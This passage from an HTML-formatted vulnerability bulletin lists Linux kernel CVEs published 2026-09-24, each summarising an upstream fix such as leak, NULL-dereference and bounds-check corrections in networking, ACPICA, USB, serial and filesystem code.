non-DOS attribute bits in ni-&amp;gt;std_fa. This keeps compressed and sparse state consistent with ATTR_DATA and the mapping operations while keeping the existing DOS attribute semantics intact.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97439&quot; target=&quot;_blank&quot;&gt;CVE-2026-97439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: qrtr: fix node refcount leak on ctrl packet alloc failure qrtr_send_resume_tx() calls qrtr_node_lookup() which takes a reference on the returned node. If the subsequent call to qrtr_alloc_ctrl_packet() fails due to memory allocation failure, the function returns -ENOMEM without calling qrtr_node_release() to release the node reference. Add qrtr_node_release(node) before returning on the allocation failure path to properly release the reference.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97440&quot; target=&quot;_blank&quot;&gt;CVE-2026-97440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ata: ahci: fail probe if BAR too small for claimed ports When an AHCI controller is disabled in BIOS, its HOST_CAP register may contain a bogus value, e.g. 0xFFFFFFFF. Since CAP.NP (Number of Ports) is a zeroes based 5-bit register field, a value of 0x1f means 32 ports. If CAP.NP claims more ports than can physically fit within the mapped BAR region, accessing port registers beyond the BAR boundary causes a kernel panic. Add validation in ahci_init_one() to check that the BAR size is sufficient for the number of ports claimed in CAP.NP. The check calculates the required MMIO size as: required_size = 0x100 (global registers) + max_ports * 0x80 If required_size exceeds the actual BAR size, the probe fails with -ENODEV, preventing the panic and providing a clear error message. [cassel: commit log]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97441&quot; target=&quot;_blank&quot;&gt;CVE-2026-97441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf/ftrace: Fix WARNING in __unregister_ftrace_function perf_ftrace_function_unregister() unconditionally calls unregister_ftrace_function() without checking whether the ftrace_ops was ever successfully registered. This triggers a WARN_ON in __unregister_ftrace_function() when the ops doesn&#039;t have FTRACE_OPS_FL_ENABLED set. This can happen during perf_event_alloc() error cleanup when perf_trace_destroy() is called via __free_event() on an event whose ftrace_ops registration failed or was already torn down by perf_try_init_event()&#039;s err_destroy path. The call path is: perf_event_alloc() error cleanup -&amp;gt; __free_event() -&amp;gt; event-&amp;gt;destroy() [tp_perf_event_destroy] -&amp;gt; perf_trace_destroy() -&amp;gt; perf_trace_event_close() -&amp;gt; TRACE_REG_PERF_CLOSE -&amp;gt; perf_ftrace_function_unregister() -&amp;gt; unregister_ftrace_function() -&amp;gt; __unregister_ftrace_function() -&amp;gt; WARN_ON(!(ops-&amp;gt;flags &amp;amp; FTRACE_OPS_FL_ENABLED)) Fix this by checking FTRACE_OPS_FL_ENABLED before attempting to unregister. If the ops is not enabled, just free the filter and return success.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97443&quot; target=&quot;_blank&quot;&gt;CVE-2026-97443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Fix NULL pointer dereference in acpi_ns_custom_package() acpi_ns_custom_package() unconditionally dereferences the first element of the package to read the _BIX version number, without checking for NULL: if ((*Elements)-&amp;gt;Common.Type != ACPI_TYPE_INTEGER) When firmware returns a _BIX package whose first element is an unresolvable reference, ACPICA evaluates that entry to NULL. acpi_ns_remove_null_elements() does not strip NULL entries for ACPI_PTYPE_CUSTOM packages (fixed-position format would break if elements were shifted), so acpi_ns_custom_package() sees the NULL and causes a crash. Add a NULL check for the first element (version field) before dereferencing it. The caller then receives AE_AML_OPERAND_TYPE instead of crashing.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97446&quot; target=&quot;_blank&quot;&gt;CVE-2026-97446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Enhance OEM ID and Table ID validation in acpi_ex_load_table_op() Enhance OEM ID and Table ID validation in acpi_ex_load_table_op() to prevent buffer overflows.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97447&quot; target=&quot;_blank&quot;&gt;CVE-2026-97447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Add package limit checks in parser functions Add package limit checks in parser functions to prevent out-of-bounds access.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97449&quot; target=&quot;_blank&quot;&gt;CVE-2026-97449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: validate byte_count in acpi_ps_get_next_package_length() Validate package length reading in acpi_ps_get_next_package_length().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97453&quot; target=&quot;_blank&quot;&gt;CVE-2026-97453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Fix condition check in acpi_ps_parse_loop() Fix condition check for AML_ELSE_OP in acpi_ps_parse_loop() to prevent out-of-bounds access.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97456&quot; target=&quot;_blank&quot;&gt;CVE-2026-97456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: addrconf: fix temp address generation after prefix deprecation When a router temporarily deprecates an IPv6 prefix (either by sending a Router Advertisement with Preferred Lifetime = 0 or by letting the lifetime expire) and later restores it, the kernel permanently loses its ability to generate temporary privacy addresses (RFC 8981) for that prefix. This happens because the address worker attempts to generate a replacement temporary address when the current one nears expiration. As the base prefix is deprecated already, the generation fails after marking the temporary address as already having spawned a replacement (ifp-&amp;gt;regen_count++). When the router eventually restores the prefix, the temporary address becomes active again. However, once it naturally expires, the address worker sees this temporary address already tried to generate one and skips the regeneration. Fix the issue by resetting the regen_count check of the latest temp address generated for the prefix updated by the incoming RA.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97472&quot; target=&quot;_blank&quot;&gt;CVE-2026-97472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: powercap: intel_rapl: Fix memory leak in rapl_add_package_cpuslocked() When topology_physical_package_id()/topology_logical_die_id() returns a negative value, rapl_add_package_cpuslocked() returns ERR_PTR(-EINVAL) directly without freeing the rapl_package structure that was just allocated by kzalloc_obj(), leaking memory on every failed package addition. Use the existing err_free_package label so that the allocation is released on the error path.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97473&quot; target=&quot;_blank&quot;&gt;CVE-2026-97473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: thermal/drivers/tegra/soctherma: Switch to devm cooling device registration Use devm_thermal_of_cooling_device_register() to simplify resource management and avoid manual cleanup in error paths. As a side effect this change has the benefit of solving an existing issue. Before, the function tegra_soctherm_remove() only called debugfs_remove_recursive() and never called thermal_cooling_device_unregister() for any of the cooling devices registered here. After the driver removal, the thermal framework&#039;s cdev list would still hold references to thermal_cooling_device objects whose devdata pointer (ts) pointed to memory already freed by the platform device&#039;s devm cleanup. With this change, the cooling device is unregistered when the driver is removed, thus fixing the issue above.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97475&quot; target=&quot;_blank&quot;&gt;CVE-2026-97475&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: rds: filter RDS_INFO_* getsockopt by caller&#039;s netns The RDS_INFO_* family of getsockopt(2) options reads several file-scope global lists that are not per-netns: rds_sock_info / rds6_sock_info, rds_sock_inc_info / rds6_sock_inc_info -&amp;gt; rds_sock_list rds_tcp_tc_info / rds6_tcp_tc_info -&amp;gt; rds_tcp_tc_list rds_conn_info / rds6_conn_info, rds_conn_message_info_cmn (for the *_SEND_MESSAGES and *_RETRANS_MESSAGES variants), rds_for_each_conn_info (for RDS_INFO_IB_CONNECTIONS) -&amp;gt; rds_conn_hash[] The handlers do not filter by the caller&#039;s network namespace. rds_info_getsockopt() has no netns or capable() check, and rds_create() has no capable() check, so AF_RDS is reachable from an unprivileged user namespace. As a result, an unprivileged caller in a fresh user_ns plus netns can read the bound address and sock inode of every RDS socket on the host, the peer address of incoming messages on every RDS socket on the host, the peer address and TCP sequence numbers of every rds-tcp connection on the host, and the peer address and RDS sequence numbers of every RDS connection on the host. The rds-tcp transport is reachable from a non-initial netns (see rds_set_transport()), so a one-shot init_net gate at rds_info_getsockopt() would deny legitimate per-netns visibility to rds-tcp callers. Instead, filter at each handler by comparing the netns of the caller&#039;s socket to the netns of the list entry, or to rds_conn_net(conn) for connection paths. Only copy entries whose netns matches the caller. Counters (RDS_INFO_COUNTERS) are aggregate statistics and remain global. Reproducer (KASAN VM, rds and rds_tcp loaded): an AF_RDS socket binds 127.0.0.1:4242 in init_net as root. A child process enters a fresh user_ns plus netns and opens AF_RDS there, then calls getsockopt(SOL_RDS, RDS_INFO_SOCKETS). Before this change, the child sees the init_net socket. After this change, the child sees zero entries. Drop the rds_sock_count, rds_tcp_tc_count, and rds6_tcp_tc_count globals. v2 used them for the size precheck and lens-&amp;gt;nr; v3 replaced the precheck with a per-ns count from a first pass over the list, so the globals have no remaining readers. The matching increments and decrements in rds_create()/rds_destroy_sock() and rds_tcp_set_callbacks()/rds_tcp_restore_callbacks() go away with them. Reported by the kernel test robot under clang W=1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97476&quot; target=&quot;_blank&quot;&gt;CVE-2026-97476&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/counter: Fix num_counters leak on bind_qp failure in alloc_and_bind() When __rdma_counter_bind_qp() fails in alloc_and_bind(), the error path jumps to err_mode which frees the counter without decrementing port_counter-&amp;gt;num_counters. The only place that decrements is rdma_counter_free(), which is unreachable since the counter was never successfully bound. This leak accumulates across repeated failures, permanently preventing the port from switching to AUTO mode (-EBUSY in __counter_set_mode()) and blocking the MANUALâ†’NONE auto-revert in rdma_counter_free(). When the mode was NONE before the call, the MANUAL mode set by __counter_set_mode() also leaks since the revert logic is never reached. Add an err_bind label between the num_counters increment and the existing err_mode label. It decrements num_counters and mirrors the MANUALâ†’NONE revert from rdma_counter_free(), ensuring the port state is fully restored on bind failure.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97477&quot; target=&quot;_blank&quot;&gt;CVE-2026-97477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: driver core: Avoid warning when removing a device while its supplier is unbinding During driver removal, the following warning can appear: WARNING: CPU: 1 PID: 139 at drivers/base/core.c:1497 __device_links_no_driver+0xcc/0xfc ... Call trace: __device_links_no_driver+0xcc/0xfc (P) device_links_driver_cleanup+0xa8/0xf0 device_release_driver_internal+0x208/0x23c device_links_unbind_consumers+0xe0/0x108 device_release_driver_internal+0xec/0x23c device_links_unbind_consumers+0xe0/0x108 device_release_driver_internal+0xec/0x23c device_links_unbind_consumers+0xe0/0x108 device_release_driver_internal+0xec/0x23c driver_detach+0xa0/0x12c bus_remove_driver+0x6c/0xbc driver_unregister+0x30/0x60 pci_unregister_driver+0x20/0x9c lan966x_pci_driver_exit+0x18/0xa90 [lan966x_pci] This warning is triggered when a consumer is removed because the links status of its supplier is not DL_DEV_DRIVER_BOUND and the link flag DL_FLAG_SYNC_STATE_ONLY is not set. The topology in terms of consumers/suppliers used was the following (consumer ---&amp;gt; supplier): i2c -----------&amp;gt; OIC ----&amp;gt; PCI device | ^ | | +---&amp;gt; pinctrl ---+ When the PCI device is removed, the OIC (interrupt controller) has to be removed. In order to remove the OIC, pinctrl and i2c need to be removed and to remove pinctrl, i2c need to be removed. The removal order is: 1) i2c 2) pinctrl 3) OIC 4) PCI device In details, the removal sequence is the following (with 0000:01:00.0 the PCI device): driver_detach: call device_release_driver_internal(0000:01:00.0)... device_links_busy(0000:01:00.0): links-&amp;gt;status = DL_DEV_UNBINDING device_links_unbind_consumers(0000:01:00.0): 0000:01:00.0--oic link-&amp;gt;status = DL_STATE_SUPPLIER_UNBIND call device_release_driver_internal(oic)... device_links_busy(oic): links-&amp;gt;status = DL_DEV_UNBINDING device_links_unbind_consumers(oic): oic--pinctrl link-&amp;gt;status = DL_STATE_SUPPLIER_UNBIND call device_release_driver_internal(pinctrl)... device_links_busy(pinctrl): links-&amp;gt;status = DL_DEV_UNBINDING device_links_unbind_consumers(pinctrl): pinctrl--i2c link-&amp;gt;status = DL_STATE_SUPPLIER_UNBIND call device_release_driver_internal(i2c)... device_links_busy(i2c): links-&amp;gt;status = DL_DEV_UNBINDING __device_links_no_driver(i2c)... pinctrl--i2c link-&amp;gt;status is DL_STATE_SUPPLIER_UNBIND oic--i2c link-&amp;gt;status is DL_STATE_ACTIVE oic--i2c link-&amp;gt;supplier-&amp;gt;links.status is DL_DEV_UNBINDING The warning is triggered by the i2c removal because the OIC (supplier) links status is not DL_DEV_DRIVER_BOUND. Its links status is indeed set to DL_DEV_UNBINDING. It is perfectly legit to have the links status set to DL_DEV_UNBINDING in that case. Indeed we had started to unbind the OIC which triggered the consumer unbinding and didn&#039;t finish yet when the i2c is unbound. Avoid the warning when the supplier links status is set to DL_DEV_UNBINDING and thus support this removal sequence without any warnings.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97479&quot; target=&quot;_blank&quot;&gt;CVE-2026-97479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tty: serial: 8250: protect against NULL uart-&amp;gt;port.dev in register serial8250_register_8250_port() conditionally copies uart-&amp;gt;port.dev from up-&amp;gt;port.dev only when up-&amp;gt;port.dev is non-NULL: if (up-&amp;gt;port.dev) { uart-&amp;gt;port.dev = up-&amp;gt;port.dev; ... } So if both the existing uart slot and up have a NULL -&amp;gt;dev, uart-&amp;gt;port.dev remains NULL. The very next ACPI companion check then dereferences it unconditionally: if (!has_acpi_companion(uart-&amp;gt;port.dev)) { has_acpi_companion() reads dev-&amp;gt;fwnode without a NULL guard (include/linux/acpi.h), so this NULL-derefs the kernel for the remaining no-dev case rather than just skipping the mctrl_gpio_init() initialisation as intended. smatch flags the inconsistency: drivers/tty/serial/8250/8250_core.c:767 serial8250_register_8250_port() error: &#039;uart-&amp;gt;port.dev&#039; could be null (see line 719) Guard the call with a NULL check so register continues to work for callers that legitimately have no parent device (legacy non-OF/non-ACPI registrations). No functional change for callers that pass a non-NULL -&amp;gt;dev.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97480&quot; target=&quot;_blank&quot;&gt;CVE-2026-97480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix possible ISR soft lockup There are rare cases in which the host gets stuck in the ISR because it is flooded with messages during the startup phase. The reason for the soft lockup in the ISR is the missing FIFO error IRQ (FIFOE) handling. Not handling it and reporting IRQ_HANDLED triggers the IRQ immediately again. Fix this by adding a check for the FIFOE status and clearing the FIFO if no data is ready (DR). This behavior was observed on an AM62L device which uses the OMAP 8250 driver. Fix it for all 8250 drivers, since the OMAP driver&#039;s special IRQ setup handling may trigger this behavior more frequently, but it is not ensured that other 8250 drivers aren&#039;t affected.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97481&quot; target=&quot;_blank&quot;&gt;CVE-2026-97481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: goku_udc: avoid NULL deref of dev-&amp;gt;driver in INT_USBRESET log goku_irq() handles a number of bus events under a single ep0 path. It already guards the gadget driver suspend/resume callbacks against a NULL -&amp;gt;driver: if (dev-&amp;gt;gadget.speed != USB_SPEED_UNKNOWN &amp;amp;&amp;amp; dev-&amp;gt;driver &amp;amp;&amp;amp; dev-&amp;gt;driver-&amp;gt;resume) { spin_unlock(&amp;amp;dev-&amp;gt;lock); dev-&amp;gt;driver-&amp;gt;resume(&amp;amp;dev-&amp;gt;gadget); ... } but the very next branch unconditionally dereferences dev-&amp;gt;driver when an INT_USBRESET arrives: if (stat &amp;amp; INT_USBRESET) { ACK(INT_USBRESET); INFO(dev, &quot;USB reset done, gadget %s\n&quot;, dev-&amp;gt;driver-&amp;gt;driver.name); } If the controller raises INT_USBRESET before any gadget driver has been bound (or after one has been unbound), dev-&amp;gt;driver is NULL and the printk dereferences NULL. smatch flags the inconsistency: drivers/usb/gadget/udc/goku_udc.c:1618 goku_irq() error: we previously assumed &#039;dev-&amp;gt;driver&#039; could be null (see line 1607) Fall back to a placeholder when the gadget driver is not bound. No functional change while a gadget driver is bound.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97482&quot; target=&quot;_blank&quot;&gt;CVE-2026-97482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: core: hcd: fix possible deadlock in rh control transfers &amp;gt;From within the SCSI error handler memory allocations must not trigger IO. Handling errors in UAS and the storage driver may involve resetting a device. The thread doing the reset itself relies on VM magic. However, that is insufficient, as resetting a device involves resuming it. Resumption as well as resetting involves conrol transfers to the parent of the device to be reset. That may be a root hub. Hence usbcore must heed the flags passed to usb_submit_urb() processing control transfers to root hubs. The problem exist since the storage driver has been merged.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97483&quot; target=&quot;_blank&quot;&gt;CVE-2026-97483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usbip: vhci_hcd: fix NULL deref in status_show_vhci platform_get_drvdata() can return NULL if a VHCI host controller&#039;s probe failed (e.g. due to USB bus number exhaustion). status_show_vhci() checked for a NULL pdev but not for a NULL hcd returned by platform_get_drvdata(). Passing NULL to hcd_to_vhci_hcd() does not return NULL - it returns a pointer offset of 0x260, causing a NULL pointer dereference when that value is subsequently dereferenced. Add a NULL check on hcd before calling hcd_to_vhci_hcd(). Move status_show_not_ready() above status_show_vhci() to make it callable from the new error path without a forward declaration.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97484&quot; target=&quot;_blank&quot;&gt;CVE-2026-97484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: omfs: handle set_blocksize failures omfs uses buffer_heads, which don&#039;t handle block size &amp;gt; PAGE_SIZE well. Without this, mounting we will hit the BUG_ON(offset &amp;gt;= folio_size(folio)); in folio_set_bh on the first __bread_gfp call.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97485&quot; target=&quot;_blank&quot;&gt;CVE-2026-97485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hpfs: handle set_blocksize failures hpfs uses buffer_heads, which don&#039;t handle block size &amp;gt; PAGE_SIZE well. Without this, mounting will hit the BUG_ON(offset &amp;gt;= folio_size(folio)); in folio_set_bh on the first __bread_gfp call.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97486&quot; target=&quot;_blank&quot;&gt;CVE-2026-97486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: jfs: handle set_blocksize failures jfs uses buffer_heads, which don&#039;t handle block size &amp;gt; PAGE_SIZE well. Without this, mounting we will hit the BUG_ON(offset &amp;gt;= folio_size(folio)); in folio_set_bh on the first __bread_gfp call.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97487&quot; target=&quot;_blank&quot;&gt;CVE-2026-97487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: qnx4: handle set_blocksize failures qnx4 uses buffer_heads, which don&#039;t handle block size &amp;gt; PAGE_SIZE well. Without this, mounting will hit the BUG_ON(offset &amp;gt;= folio_size(folio)); in folio_set_bh on the first __bread_gfp call.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97488&quot; target=&quot;_blank&quot;&gt;CVE-2026-97488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bfs: handle set_blocksize failures bfs uses buffer_heads, which don&#039;t handle block size &amp;gt; PAGE_SIZE well. Without this, mounting will hit the BUG_ON(offset &amp;gt;= folio_size(folio)); in folio_set_bh on the first __bread_gfp call.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97489&quot; target=&quot;_blank&quot;&gt;CVE-2026-97489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: affs: handle set_blocksize failures affs uses buffer_heads, which don&#039;t handle block size &amp;gt; PAGE_SIZE well. Without this, mounting we will hit the BUG_ON(offset &amp;gt;= folio_size(folio)); in folio_set_bh on the first __bread_gfp call.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97490&quot; target=&quot;_blank&quot;&gt;CVE-2026-97490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/rds: Don&#039;t sleep inside rds_ib_conn_path_shutdown New rds rdma self tests exposed a hang when tearing down the ib network configs. This is caused by the shutdown worker thread sleeping on the wait_event call, which blocks other work items in the queue. Fix this by changing wait_event to wait_event timeout, and looping until the wait check succeeds.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97491&quot; target=&quot;_blank&quot;&gt;CVE-2026-97491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: don&#039;t call ieee80211_handle_reconfig_failure when not needed In case reconfiguration of NAN fails, we call ieee80211_handle_reconfig_failure, that marks all interfaces as not in the driver. Then, at the error path of the reconfig, cfg80211_shutdown_all_interfaces is called to destroy all the interfaces. If we have any other interface but the NAN one, for example a BSS station, then when its state (links, stations) will be removed, we won&#039;t tell the driver about this, because we will think that the interfaces are not in the driver, and then drivers might remain with dangling pointers to objects like stations and links (at least for iwlwifi this is the case). ieee80211_handle_reconfig_failure is meant to be called after we cleaned up the state in the driver, there is no reason to call it for NAN reconfiguration failure. Fix the code to just warn in such a case, as we do in other error paths in reconfig where it is too complicated to 